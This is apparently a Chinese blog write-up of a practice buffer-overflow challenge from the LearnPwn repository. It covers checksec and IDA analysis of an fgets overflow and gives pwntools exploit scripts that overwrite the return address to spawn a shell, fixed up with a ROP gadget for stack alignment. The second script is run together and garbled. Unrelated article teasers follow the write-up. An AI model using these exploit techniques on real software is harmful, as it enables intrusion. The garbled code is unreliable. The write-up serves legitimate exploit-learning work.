当前位置: 首页 > news >正文

1.Buffer_Overflow-1.Basic_Jump

github上面的练习题

git clone https://github.com/Adamkadaban/LearnPwn

然后开始做

先进行 readelf

 然后进行执行看看 是怎么回事

./buf1

 发现就是一个输入和输出

我们checksec看看

 发现stack 保护关闭 开启了NX保护

我们进入ida64看看反汇编

我习惯先看看字符串 SHITF+F12

发现/bin/sh

我们先去主函数看看有什么漏洞

进入一个函数 getName

 我们能看见 给了一个数组

然后下面又有一个fgets函数

fget()和get不同 不会无限输入

但是这里fgets 发现读取的大小为100 但是我们的s 只有15

这里我们就可以进行写入 因为他要读取 所以我们

可以把s和rbp填满垃圾字符 然后返回到shellcode地址

fget()
会读取指针所指的 并且大小限制的 
如果我们溢出字符串 将s和rbp覆盖了 后面就还有很大的空间 我们可以进行构造
因为返回的是100 所以我们构造的 他还是会直接返回 执行

 

类似这个 我们在覆盖了buf 和ret后 就可以进行构造了 因为他会读取100

shellcode地址我们很容易就发现

 exp

from pwn import *
p = process('./buf1')
payload=b'A'*(0xf+0x8)+p64(0x401224)+p64(0)+p64(0)+p64(0)+p64(0)+p64(0x4011BC)
p.sendline(payload)
p.interactive()

 问题 出现 code -11

他原本自带了 exp

但是我发现执行不了

我们进行排查后发现是栈不对齐

我们gdb看看

 

我们发现 这里他

mov eax,0
pop rbp
retpush rbp

执行力三条才到 rbp 这里就导致我们报错

我们该如何解决呢

我们自己设置返回即可

ROPgadget --binary ./buf1 --only 'pop|ret'

 使用这个寄存器 直接设置返回即可

#!/bin/python3from pwn import *p = process('./buf1')
e = ELF('./buf1') # This imports all the symbols in the binary# context.log_level = 'debug'offset = 0x7fffffffdfe8 - 0x7fffffffdfd1 # $rbp - $(locationOfInput)
loc = p64(e.symbols['openShell']) # \xcf\x11payload = b'A'*offset
payload +=p64(0x401224)+p64(0)+p64(0)+p64(0)+p64(0)
payload +=locp.sendline(payload) # We send 0x17 (or 23) bytes of data because that was how far away from the stack pointer our variable wasp.interactive()

 

相关文章:

1.Buffer_Overflow-1.Basic_Jump

github上面的练习题 git clone https://github.com/Adamkadaban/LearnPwn 然后开始做 先进行 readelf 然后进行执行看看 是怎么回事 ./buf1发现就是一个输入和输出 我们checksec看看 发现stack 保护关闭 开启了NX保护 我们进入ida64看看反汇编 我习惯先看看字符串 SHITF…...

MySQL入门语法第三课:表结构的创建

数据表结构 定点数类型decimal(m,d) m表示数字总位数 d表示小数位数 ★创建数据表先要选择数据库 1 . CREATE TABLE 表名称 创建数据表 (字段名1 数据类型1 [,字段名2 数据名2] [, .....] ); 一个字段写一行 修改表名 alter table 旧表名 rename 新表名…...

SpringSecurity框架学习与使用

SpringSecurity框架学习与使用 SpringSecurity学习SpringSecurity入门SpringSecurity深入认证授权自定义授权失败页面权限注解SecuredPreAuthorizePostAuthorizePostFilterPreFilter 参考 SpringSecurity学习 SpringSecurity入门 引入相关的依赖,SpringBoot的版本…...

DHCP+链路聚合+NAT+ACL小型实验

实验要求: 1.按照拓扑图上标识规划网络。 2.使用0SPF协议进程100实现ISP互通。 3.私网内PC属于VLAN1O, FTP Server属于VLAN2O,网关分 别为所连接的接入交换机,其中PC要求通过DHCP动态获取 4:私网内部所有交换机都为三层交换机,请合理规划VLAN&#…...

西瓜书读书笔记整理(三)—— 第二章 模型评估与选择

第二章 模型评估与选择 第 2 章 模型评估与选择2.1 经验误差与过拟合1. 错误率 / 精度 / 误差2. 训练误差 / 经验误差 / 泛化误差3. 过拟合 / 欠拟合4. 学习能力5. 模型选择 2.2 评估方法1. 评估方法概述2. 留出法3. 交叉验证法4. 自助法5. 调参 / 最终模型 2.3 性能度量1. 回归…...

AcWing算法提高课-1.3.6货币系统

宣传一下算法提高课整理 <— CSDN个人主页&#xff1a;更好的阅读体验 <— 本题链接&#xff08;AcWing&#xff09; 点这里 题目描述 给你一个n种面值的货币系统&#xff0c;求组成面值为m的货币有多少种方案。 输入格式 第一行&#xff0c;包含两个整数n和m。 接…...

vue3回到上一个路由页面

学习链接 Vue Router获取当前页面由哪个路由跳转 在Vue3的setup中如何使用this beforeRouteEnter 在这个路由方法中不能访问到组件实例this&#xff0c;但是可以使用next里面的vm访问到组件实例&#xff0c;并通过vm.$data获取组件实例上的data数据getCurrentInstance 是vue3提…...

Linux三种网络模式 | 仅主机、桥接、NAT

&#x1f497;wei_shuo的个人主页 &#x1f4ab;wei_shuo的学习社区 &#x1f310;Hello World &#xff01; Linux三种网络模式 仅主机模式&#xff1a;虚拟机只能访问物理机&#xff0c;不能上网 桥接模式&#xff1a;虚拟机和物理机连接同一网络&#xff0c;虚拟机和物理机…...

数据库设计与前端框架

数据库设计与前端框架 学习目标&#xff1a; 理解多租户的数据库设计方案 熟练使用PowerDesigner构建数据库模型理解前端工程的基本架构和执行流程 完成前端工程企业模块开发 多租户SaaS平台的数据库方案 多租户是什么 多租户技术&#xff08;Multi-TenancyTechnology&a…...

技术探秘:揭秘Bean Factory与FactoryBean的区别!

大家好&#xff0c;我是小米&#xff0c;一个热衷于技术分享的29岁小编。今天&#xff0c;我们来聊一聊在Spring框架中常用的两个概念&#xff1a;beanFactory和FactoryBean。它们虽然看似相似&#xff0c;但实际上有着不同的用途和作用。让我们一起来揭开它们的神秘面纱吧&…...

MD-MTSP:遗传算法GA求解多仓库多旅行商问题(提供MATLAB代码,可以修改旅行商个数及起点)

一、多仓库多旅行商问题 多旅行商问题&#xff08;Multiple Traveling Salesman Problem, MTSP&#xff09;是著名的旅行商问题&#xff08;Traveling Salesman Problem, TSP&#xff09;的延伸&#xff0c;多旅行商问题定义为&#xff1a;给定一个&#x1d45b;座城市的城市集…...

技术面试的终极指南:助你取得成功的关键步骤

背景 技术面试是许多求职者最关键的一环&#xff0c;因为它评估了你在特定领域的知识和技能。无论你是刚毕业的大学应届生&#xff0c;还是有多年工作经验的职场老兵&#xff0c;准备充分是成功面试的关键。 这篇文章将提供一系列关键步骤&#xff0c;帮助你充分准备和展现自己…...

Nautilus Chain 测试网第二阶段,推出忠诚度计划及广泛空投

随着更多的公链底层面向市场&#xff0c;通过参与早期测试在主网上线后获得激励成为了行业的一个热点话题&#xff0c;在 Apots、Arbitrum One、Optimism等陆续发放了测试空投后&#xff0c;以 Layer3为主要特性的 Nautilus Chain 也在前不久明确表示将会有空投&#xff0c;引发…...

Python爬虫(三):BeautifulSoup库

BeautifulSoup 是一个可以从 HTML 或 XML 文件中提取数据的 Python 库&#xff0c;它能够将 HTML 或 XML 转化为可定位的树形结构&#xff0c;并提供了导航、查找、修改功能&#xff0c;它会自动将输入文档转换为 Unicode 编码&#xff0c;输出文档转换为 UTF-8 编码。 Beauti…...

Python使用CV2库捕获、播放和保存摄像头视频

Python使用CV2库捕获、播放和保存摄像头视频 特别提示&#xff1a;CV2指的是OpenCV2&#xff08;Open Source Computer Vision Library&#xff09;&#xff0c;安装的时候是 opencv_python&#xff0c;但在导入的时候采用 import cv2。 若想使用cv2库必须先安装&#xff0c;P…...

[数据结构 -- C语言] 栈(Stack)

目录 1、栈 1.1 栈的概念及结构 2、栈的实现 2.1 接口 3、接口的实现 3.1 初始化 3.2 入栈/压栈 3.3 出栈 3.4 获取栈顶元素 3.5 获取栈中有效元素个数 3.6.1 bool 类型接口 3.6.2 int 类型接口 3.7 销毁栈 4、完整代码 5、功能测试 1、栈 1.1 栈的概念及结构 …...

【我的C++入门之旅】(上)

前言 C的发展史 1979年&#xff0c;贝尔实验室的Bjarne等人试图分析unix内核的时候&#xff0c;试图将内核模块化&#xff0c;但是发现C语言有很多的不足之处&#xff0c;于是在C语言的基础上进行扩展&#xff0c;增加了类的机制&#xff0c;完成了一个可以运行的预处理程序&…...

dcdc降压电路原理及仿真

在之前的文章 DCDC 降压芯片基本原理及选型主要参数介绍 中已经大致讲解了dcdc降压电路的工作原理&#xff0c;今天再结合仿真将buck电路工作过程讲一讲。 基本拓扑 上图为buck电路的基本拓扑结构&#xff0c;开关打到1&#xff0c;电感充电&#xff1b;开关打到0&#xff0c;…...

搭建Redis主从集群+哨兵+代理predixy

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 文章目录 前言一、Redis是什么&#xff1f;二、搭建Redis集群步骤1.环境和版本2.Redis 安装部署3.主从同步配置4.哨兵模式配置5.代理predixy配置 总结 前言 提示&#xff1a…...

Syncthing文件同步 - 免费搭建开源的文件自动同步服务器并公网远程访问【私人云盘】

文章目录 1. 前言2. Syncthing网站搭建2.1 Syncthing下载和安装2.2 Syncthing网页测试2.3 注册安装cpolar内网穿透 3. 本地网页发布3.1 Cpolar云端设置3.2 Cpolar本地设置 4. 公网访问测试5. 结语 1. 前言 在数据爆炸的当下&#xff0c;每天都会产生海量的数据&#xff0c;这些…...

舰艇推进电机供电流程优化方案

舰艇推进电机供电流程优化方案 第一章 绪论 1.1 背景与意义 现代舰艇(如驱逐舰、潜艇、全电推进船舶)广泛采用综合电力系统。传统的供电流程中,推进电机作为最大的非线性负载,其负载突变(如急加速、倒车、波浪冲击导致的螺旋桨甩尾)会通过直流母线回馈至发电机组,导致…...

Granite TimeSeries FlowState R1高可用部署架构:基于Kubernetes的容器化方案

Granite TimeSeries FlowState R1高可用部署架构&#xff1a;基于Kubernetes的容器化方案 如果你正在为时间序列预测模型的生产部署而头疼&#xff0c;担心服务不稳定、无法应对流量高峰&#xff0c;那么这篇文章就是为你准备的。今天&#xff0c;我们来聊聊如何把一个强大的时…...

DAMOYOLO-S快速上手:移动端浏览器访问Web服务与触屏操作适配说明

DAMOYOLO-S快速上手&#xff1a;移动端浏览器访问Web服务与触屏操作适配说明 1. 开篇&#xff1a;一个能“看懂”世界的AI助手 想象一下&#xff0c;你正用手机拍一张街景照片&#xff0c;屏幕上立刻就能标出“汽车”、“行人”、“交通灯”&#xff0c;甚至“手提包”。这不…...

FastAPI 2.0流式AI接口上线前必须做的4项压力测试:QPS突破1200+的实测阈值与熔断配置清单

第一章&#xff1a;FastAPI 2.0流式AI接口压力测试全景认知FastAPI 2.0 引入了对异步流式响应&#xff08;如 StreamingResponse&#xff09;的深度优化&#xff0c;使大语言模型&#xff08;LLM&#xff09;类接口可原生支持 Server-Sent Events&#xff08;SSE&#xff09;、…...

AutoRaise:macOS窗口悬停管理的技术实现与配置指南

AutoRaise&#xff1a;macOS窗口悬停管理的技术实现与配置指南 【免费下载链接】AutoRaise AutoRaise (and focus) a window when hovering over it with the mouse 项目地址: https://gitcode.com/gh_mirrors/au/AutoRaise AutoRaise是一款基于Objective-C开发的macOS窗…...

专业安防怎么选?奥尔特云与普通摄像头核心性能对比

不少人认为安防摄像头只是“能录像、能看见”就够&#xff0c;选型无需太过考究&#xff0c;实则这是安防系统搭建的关键误区。安防系统的核心是精准感知、有效采集&#xff0c;而摄像头作为前端核心采集设备&#xff0c;是所有安防数据的源头。若源头的画面质量、感知能力不达…...

ComfyUI-FramePackWrapper终极指南:3种AI视频生成模型加载方案深度对比

ComfyUI-FramePackWrapper终极指南&#xff1a;3种AI视频生成模型加载方案深度对比 【免费下载链接】ComfyUI-FramePackWrapper 项目地址: https://gitcode.com/gh_mirrors/co/ComfyUI-FramePackWrapper 在AI视频生成领域&#xff0c;ComfyUI-FramePackWrapper是一款革…...

SDMatte效果对比评测:与传统抠图工具及在线API的全面比拼

SDMatte效果对比评测&#xff1a;与传统抠图工具及在线API的全面比拼 1. 开篇&#xff1a;为什么需要新的抠图方案 在数字内容创作领域&#xff0c;抠图一直是个让人又爱又恨的技术活。记得去年帮朋友做电商产品图&#xff0c;光是给20个商品抠图就花了我整整一个周末。传统工…...

LabVIEW 2018+ 也能玩转OpenCV了?手把手教你用秣厉科技工具包实现摄像头人脸识别

LabVIEW与OpenCV的跨界融合&#xff1a;零代码实现工业级视觉检测方案 当图形化编程遇上计算机视觉&#xff0c;会碰撞出怎样的火花&#xff1f;对于习惯了LabVIEW数据流编程的工程师来说&#xff0c;OpenCV那些复杂的矩阵运算和算法实现往往令人望而生畏。而现在&#xff0c;…...

从安装到第一个程序:VS2022社区版+C语言开发极简入门(含代码模板)

从安装到第一个程序&#xff1a;VS2022社区版C语言开发极简入门 在数字化浪潮席卷各行各业的今天&#xff0c;编程能力已成为继外语之后的又一基础技能。对于非计算机专业背景的学习者而言&#xff0c;选择合适的学习路径尤为重要。Visual Studio 2022社区版作为微软官方提供的…...